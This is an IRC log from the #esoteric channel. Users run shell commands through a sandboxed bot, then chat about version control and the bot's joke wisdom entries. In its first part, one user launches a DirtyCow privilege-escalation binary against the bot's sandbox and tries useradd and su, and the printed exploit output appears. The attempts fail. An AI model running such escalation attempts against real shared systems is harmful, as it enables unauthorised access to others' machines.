:quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :is there even a root? < 1492459092 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :dont think so actually. You'd have to ask Gregor how its set up, or check the UMLBox code (its available online) < 1492459174 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :quinor, one attack surface foiled by good coding :P < 1492459185 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :the 'root' route is a mirror < 1492459203 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :``ls -la / < 1492459204 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: `ls: not found < 1492459209 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` ls -la / < 1492459210 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :total 32 \ drwxr-xr-x 15 0 0 0 Apr 17 18:59 . \ drwxr-xr-x 15 0 0 0 Apr 17 18:59 .. \ drwxr-xr-x 2 0 0 4096 Mar 7 23:03 bin \ drwxr-xr-x 3 0 0 4096 Mar 7 21:24 dev \ drwxr-xr-x 4 0 0 0 Apr 17 18:59 etc \ drwxr-xr-x 26 5000 5000 4096 Apr 17 18:59 hackenv \ drwxr-xr-x 3 0 0 0 Apr 17 18:59 home \ d < 1492459218 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :uid 0 < 1492459225 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` whereis useradd < 1492459227 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :useradd: /usr/sbin/useradd /usr/share/man/man8/useradd.8.gz < 1492459228 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` whereis adduser < 1492459230 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :adduser: /usr/sbin/adduser /usr/share/adduser /usr/share/man/man8/adduser.8.gz < 1492459251 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` ls -l /usr/bin/useradd < 1492459252 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :ls: cannot access /usr/bin/useradd: No such file or directory < 1492459281 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` echo "ls -l /usr/bin/useradd" | ./quinor/of < 1492459284 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :ls: cannot access /usr/bin/useradd: No such file or directory \ DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 54192 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped < 1492459306 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :quinor, you ment sbin lol < 1492459325 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` echo "ls -l /usr/sbin/useradd" | ./quinor/of < 1492459328 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​-rwxr-xr-x 1 0 0 121536 Feb 24 08:09 /usr/sbin/useradd \ DirtyCow root privilege escalation \ Backing up /usr/bin/passwd to /tmp/bak \ Size of binary: 54192 \ Racing, this may take a while.. \ /usr/bin/passwd overwritten \ Popping root shell. \ Don't forget to restore /tmp/bak \ thread stopped < 1492459357 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` echo "dupa" | passwd < 1492459358 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :passwd: Cannot determine your user name. < 1492459359 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :quinor, yup, you will never truely have root in UMLbox with a locked down user running it. Your dirty cow escalation just gives you said locked down user's perms, not root. < 1492459381 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :I see, clever < 1492459395 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :can I add a user with uid 0 then? < 1492459396 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :(UMLBox doesnt need root to run) < 1492459402 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :dont think so. < 1492459441 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :umlbox code is here: https://bitbucket.org/GregorR/umlbox/wiki/Home < 1492459489 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :yep < 1492459492 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :I see < 1492459510 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07A114]]4 M10 02https://esolangs.org/w/index.php?diff=51758&oldid=51736 5* 03Orby 5* (+43) 10/* Instructions */ adding note about timing < 1492459571 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` useradd kaczor < 1492459572 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/hackenv/bin/`: line 4: useradd: command not found < 1492459582 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` /usr/sbin/useradd kaczor < 1492459583 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1492459592 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` su kaczor < 1492459593 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :su: Cannot determine your user name. < 1492459604 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` file /etc/passwd < 1492459605 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/etc/passwd: cannot open `/etc/passwd' (No such file or directory) < 1492459608 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :quinor, you'd need to give yourself a username first. < 1492459661 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` ls /tmp < 1492459662 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1492459666 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` ls /tmp/bak < 1492459667 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :ls: cannot access /tmp/bak: No such file or directory < 1492459693 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :same for passwd < 1492459695 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :err < 1492459703 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :/tmp is set readonly i bet < 1492459710 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :(hexchat, that wasnt a command!) < 1492459714 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` ls -l /tmp < 1492459715 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :total 0 < 1492459718 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` ls -la /tmp < 1492459719 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :total 0 \ drwxrwxrwt 2 0 0 40 Apr 17 19:08 . \ drwxr-xr-x 15 0 0 0 Apr 17 19:08 .. < 1492459752 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` touch /tmp/test < 1492459753 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1492459755 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` file /tmp/test < 1492459755 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/tmp/test: cannot open `/tmp/test' (No such file or directory) < 1492459771 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :wtf < 1492459779 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :readonly shenangins. < 1492459802 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` ls /usr/tmp/bak < 1492459803 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :ls: cannot access /usr/tmp/bak: No such file or directory < 1492459823 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :its readonly but no output on write try < 1492459850 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` touch /tmp/test 2>&1 1>o < 1492459852 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1492459853 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` cat o < 1492459854 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1492459857 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :`` rm o < 1492459858 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :quinor, UMLbox lol < 1492459859 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1492459866 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :it fakes it. < 1492459899 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :I see lol < 1492460089 0 :fizzie!?@? PRIVMSG #esoteric :There's a non-versioned persistent directory at tmp/ (technically /hackenv/tmp) if you want to fiddle around without cluttering the history. < 1492460101 0 :fizzie!?@? PRIVMSG #esoteric :(A little late now.) < 1492460125 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :hi, fizzie! < 1492460177 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :quinor, ^ may want to do so, history doesnt like shenangins. Besides, i tried a dirty cow a long time ago. < 1492460209 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :but it's too easy to lose tmp < 1492460239 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :if you want something permanant, then dont use tmp. < 1492460244 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :also, < 1492460246 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`ls canary < 1492460247 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :canary < 1492460250 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`cat canary < 1492460251 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1492460254 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`rm canary < 1492460256 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1492460263 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`cat canary < 1492460264 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1492460276 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :quinor, we have magical file syndrome that you will never delete. have fun. < 1492460311 0 :fizzie!?@? PRIVMSG #esoteric :/hackenv/tmp/ isn't really that hard to use until you want to move something out of there. If you never touch anything outside it, you don't get the consequences of the run-clean-rerun scheme. < 1492460341 0 :fizzie!?@? PRIVMSG #esoteric :Just don't try to "mv tmp/foo not-tmp/foo". < 1492460353 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :fizzie, what does it do? < 1492460357 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`touch tmp/foo < 1492460358 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1492460358 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :yeah < 1492460364 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`mv tmp/foo foo < 1492460364 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :mv: missing destination file operand after ‘tmp/foo foo’ \ Try 'mv --help' for more information. < 1492460366 0 :fizzie!?@? PRIVMSG #esoteric :Removes tmp/foo. < 1492460373 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`` mv tmp/foo foo < 1492460375 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :mv: cannot stat ‘tmp/foo’: No such file or directory < 1492460379 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :heh < 1492460625 0 :hppavilion[1]!~dosgmowdo@74-114-87-68.dynamic.asdk12.org PRIVMSG #esoteric :`unidecode ⇧ < 1492460626 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​[U+21E7 UPWARDS WHITE ARROW] < 1492460688 0 :Remavas-Hex!~Remavas@md-188-69-198-111.omni.lt QUIT :Remote host closed the connection < 1492460760 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :moonythedwarf: what a fun little sandbox < 1492460771 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PRIVMSG #esoteric :there is some magic in it < 1492461289 0 :Nistur!nistur@gateway/shell/blinkenshell.org/x-ltjscbzevcfecait PRIVMSG #esoteric :Blugh. Why does my brain hate me? < 1492461312 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 QUIT :Quit: http://www.kiwiirc.com/ - A hand crafted IRC client < 1492461379 0 :Remavas-Hex!~Remavas@md-188-69-198-111.omni.lt JOIN :#esoteric < 1492461394 0 :Remavas-Hex!?@? NICK :Remavas < 1492461426 0 :Remavas!?@? NICK :Remavas-Hex < 1492461588 0 :Remavas-Hex!~Remavas@md-188-69-198-111.omni.lt QUIT :Remote host closed the connection < 1492461852 0 :Remavas-Hex!~Remavas@md-188-69-198-111.omni.lt JOIN :#esoteric < 1492462658 0 :otherbot!~yaybot@unaffiliated/jeffl35/bot/jeffbot JOIN :#esoteric < 1492462660 0 :otherbot!~yaybot@unaffiliated/jeffl35/bot/jeffbot PART #esoteric : < 1492462726 0 :quinor!~quinor@dkb176.neoplus.adsl.tpnet.pl PART #esoteric :"Konversation terminated!" < 1492463143 0 :hppavilion[1]!~dosgmowdo@74-114-87-68.dynamic.asdk12.org QUIT :Ping timeout: 240 seconds < 1492463402 0 :nycs!~nycs@gw.hq.meetup.com JOIN :#esoteric < 1492463468 0 :`^_^v!~nycs@gw.hq.meetup.com QUIT :Ping timeout: 255 seconds < 1492465137 0 :hppavilion[1]!~dosgmowdo@74-114-87-68.dynamic.asdk12.org JOIN :#esoteric < 1492465234 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :Argh if only svn log had a reverse order option I wouldn't have had to write a stupid perl script to do that < 1492465316 0 :zzo38!~zzo38@24-207-56-48.eastlink.ca PRIVMSG #esoteric :You could also see if tac will do? < 1492465534 0 :fizzie!?@? PRIVMSG #esoteric :\oren\: svn log -r 1:HEAD < 1492465565 0 :fizzie!?@? PRIVMSG #esoteric :May not be exactly equivalent to the default, but -r 1:HEAD and -r HEAD:1 seem to produce the same output except in mutually reversed order. < 1492465583 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :`5 w < 1492465592 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :1/2:emac//emacs is the weird brother of nano. \ oklopol//oklopol "so i hear these blogs are getting popular, people like writing about their lives and shit. on this thing called the internet which is like a neural network only really stupid." \ infinitive//Infinitives are atomic verbs. They were first split in the 1940s, and the world has < 1492465594 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :` < 1492465595 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found < 1492465603 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :`n < 1492465603 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :2/2:n't looked back since. \ tdnh//tdnh does not help \ atrix//Atrix is a brand of hand cream. Not to be confused with atriq. < 1492465617 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :`? atriq < 1492465618 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :atriq or two < 1492465621 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :`5 widsom < 1492465626 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :1/2:ß/ß/ is not a beat. Its' a "scahrfes S", aka s wiht a scraf. \ pots-inudstrial seim-pukn nerkonoise amibent happy hadrcore trpihop sheogaze//Pots-inudstrial seim-pukn nerkonoise amibent happy hadrcore trpihop sheogaze is the gerne of the Auotbahn alubm "Naeglbett" acocrding to htpt://thdeailywtf.co/maritcles/YoH-o%2cY-o-Ho2%c-A-iPra < 1492465648 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :`n < 1492465649 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :2/2:tes-Lief-fo-rLee . \ enlgand//Enlgand is a cosnpiracy of catrographers. \ stduy//A stduy is motsly usleess unitl bakced up by futrher stduies. See stduies. \ xyzzy//Nohting happens. < 1492465662 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :`? studies < 1492465663 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Studies show lots of things. Nobody reads them, though. Also: this study contradicts this other study. These two studies agree, but were secretly paid for by the same company. < 1492465686 0 :hppavilion[1]!~dosgmowdo@74-114-87-68.dynamic.asdk12.org PRIVMSG #esoteric :Has a dedicated IDE for Fungeoids ever been written? < 1492465713 0 :hppavilion[1]!~dosgmowdo@74-114-87-68.dynamic.asdk12.org PRIVMSG #esoteric :it'd be cool, but rather horrible < 1492465718 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :`5 w < 1492465724 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :1/2:study//A study is mostly useless until backed up by further studies. See studies. \ dosh//The doshes are what the gostak distims. \ marriage//Marriage was made legal in the United States on 2015-06-26. \ copumpkin//copumpkin is categorically incapable of being president. \ glados//Hello, and again, welcome to the Aperture Science Comp < 1492465747 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :fizzie: oh... now why the heck isn't that documented in the output of svn help log... < 1492465753 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :`n < 1492465754 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :2/2:uter Aided Internet Relay Chat & Enrichment Center. Please enjoy your stay at #esoteric, because you will never leave. < 1492465760 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :\oren\: you could also use git-svn hth < 1492465761 0 :hppavilion[1]!~dosgmowdo@74-114-87-68.dynamic.asdk12.org PRIVMSG #esoteric :Like, to be useful, you'd need (1) a way to choose which direction you type- perhaps ctrl+ makes your cursor move in that direction and (2), optionally, a way to rotate the display < 1492465783 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :shachaf: git is total crap in terms of useablity < 1492465828 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :at least it supports `git log --reverse` hth < 1492465839 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :Also I don't think git is that bad. It's pretty simple. < 1492465851 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :There are only a few dozen edge cases you have to memorize. < 1492465867 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :But if you prefer you can use hg-svn. < 1492465883 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :I'd prefer svn-git < 1492465910 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :that is, a way to interact with git using the same centralized paradigm as svn < 1492465939 0 :zzo38!~zzo38@24-207-56-48.eastlink.ca PRIVMSG #esoteric :I prefer fossil myself. < 1492466223 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :\oren\ comes across as a total asshole sometimes < 1492466225 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :I guess the ideal would be to have the simple commands and structure of svn and also have the *option* of local commits < 1492466342 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :i,i a fossil like \oren\? < 1492466371 0 :nycs!~nycs@gw.hq.meetup.com QUIT :Quit: This computer has gone to sleep < 1492466448 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :I don't see how wanting simple commands for the most common case, where there's a central repository thst everyone checks out and commits to, is so controversial < 1492466480 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :I think central repositories are pretty good. < 1492466503 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :And I think git could be adapted to better support that use case in a few ways. < 1492466537 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :But in general it's pretty agnostic to this question? < 1492466553 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :You should learn how it works because the model has all sorts of benefits and things. < 1492466568 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :I think \oren\ wants a single command that does all of git pull; git commit -a; git push < 1492466622 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :(plus some handling of merging?) < 1492466658 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :correct < 1492466703 0 :orby_!60eaeacb@gateway/web/freenode/ip.96.234.234.203 JOIN :#esoteric < 1492466711 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :fizzie: Should git/hg use FUSE as the standard way to access your repository? < 1492466770 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :shachaf: I can see using that to update the index (although you'd still want a git add -p equivalent), but it seems awkward from an interface point of view to do commits that way < 1492466778 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :why can't git have a command, like git ci -m "fixed the bug where the index was off by one" < 1492466805 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :shachaf: hmm I'd be much worried about semantics... < 1492466808 0 :callforjudgement!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :perhaps commits could show up as directories and you'd do the equivalent of cp -r to make a commit? < 1492466817 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :I mean in addition to standard git commands, not replacing them. < 1492466831 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :fizzie knows what I mean. < 1492466854 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :For example you can have each branch be represented as a directory. < 1492466870 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :shachaf: I can see a sane read semantics, which would be cute < 1492466876 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :cd master; ...; cd ../branch_one; ... < 1492466881 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :but less sure about writing < 1492466905 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :ok how about git commit-to-central -m "fixed the bug" with short form git ctc < 1492466920 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :\oren\: What about sending your code for code review before committing? < 1492466923 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :I mean before pushing. < 1492466940 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :I'm thinking of something similar to CitC, as briefly described in https://cacm.acm.org/magazines/2016/7/204032-why-google-stores-billions-of-lines-of-code-in-a-single-repository/fulltext < 1492466984 0 :\oren\!~oren@ec2-52-2-213-98.compute-1.amazonaws.com PRIVMSG #esoteric :shachaf: do you do that with your personal github projects? < 1492466997 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :When I can? < 1492467008 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :GitHub is a bad code review tool as far as I can tell. < 1492467013 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :I don't like GitHub very much. < 1492467020 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :Some people say it's gotten better. I haven't tried recently. < 1492467075 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :Anyway, if you have a big repository and you switch branches or something, it's a bit silly to write out a bunch of files to the filesystem. < 1492467086 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :Especially if you never use those files. Maybe you don't even need to fetch them from the remote! < 1492467118 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :Also, if you have a FUSE filesystem representing your repository, `git status` etc. can be instant because it knows about all the changes that have been made. < 1492467131 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :(I guess you could do something similar with inotify.) < 1492467143 0 :hppavilion[1]!~dosgmowdo@74-114-87-68.dynamic.asdk12.org QUIT :Ping timeout: 268 seconds < 1492467150 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :\oren\: you could have a look at https://git.wiki.kernel.org/index.php/Interfaces,_frontends,_and_tools#Version_Control_Interface_layers and see if any of those alternative frontends fit your bill better < 1492467220 0 :zzo38!~zzo38@24-207-56-48.eastlink.ca PRIVMSG #esoteric :Not everyone is using GitHub, I think. < 1492467702 0 :hppavilion[1]!~dosgmowdo@74-114-87-68.dynamic.asdk12.org JOIN :#esoteric < 1492467826 0 :Zarutian!~zarutian@168-110-22-46.fiber.hringdu.is PRIVMSG #esoteric :ACTION wonders what a platonic liquid would look like. < 1492467876 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :`grwp -i klein < 1492467877 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :grep: invalid option -- ' ' \ Usage: grep [OPTION]... PATTERN [FILE]... \ Try 'grep --help' for more information. < 1492467882 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :`` grwp -i klein < 1492467913 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1492467922 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :`quote klein < 1492467923 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1492467957 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :`? klein bottle < 1492467958 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :Zarutian: well I'd try filling it into a Klein bottle. < 1492467958 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :A Klein bottle is like a torus, but more insidious. Taneb tried to invent it, but got trapped inside. < 1492467970 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :hmm < 1492467977 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :`` grwp -i klein < 1492467980 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :`cat bin/grwp < 1492467981 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​#! /bin/bash \ cd wisdom; shopt -s dotglob; grep -R "$@" -- * < 1492467986 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :klein bottle:A Klein bottle is like a torus, but more insidious. Taneb tried to invent it, but got trapped inside. \ tanebventions: math:Mathematical tanebventions include D-modules, Chu spaces, the torus, Stephen Wolfram, Klein bottles, string diagrams, the reals, Lambek's lemma, Curry's paradox, algebraic geometry, locales, and histograms. < 1492467996 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :`? locale < 1492467997 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Locales are just frames, which are just complete Heyting algebras. Taneb accidentally invented them by asking about lattices. The only locale available in #esoteric is en_NZ.UTF-8. < 1492468003 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :`? histogram < 1492468005 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Histograms are diagrams showing histamine levels. Taneb invented them. < 1492468023 0 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :`? the torus < 1492468024 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Topologically, a torus is just a torus. Taneb invented it so he'd have something to drink his coffee out of. < 1492468078 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :... oh I think I've got a handle on that wisdom entry. < 1492468082 0 :Taneb!~Taneb@2001:41c8:51:10d:: PRIVMSG #esoteric :Thanks for pinging me half a dozen times < 1492468085 0 :MoALTz!~no@77-254-9-16.adsl.inetia.pl QUIT :Quit: 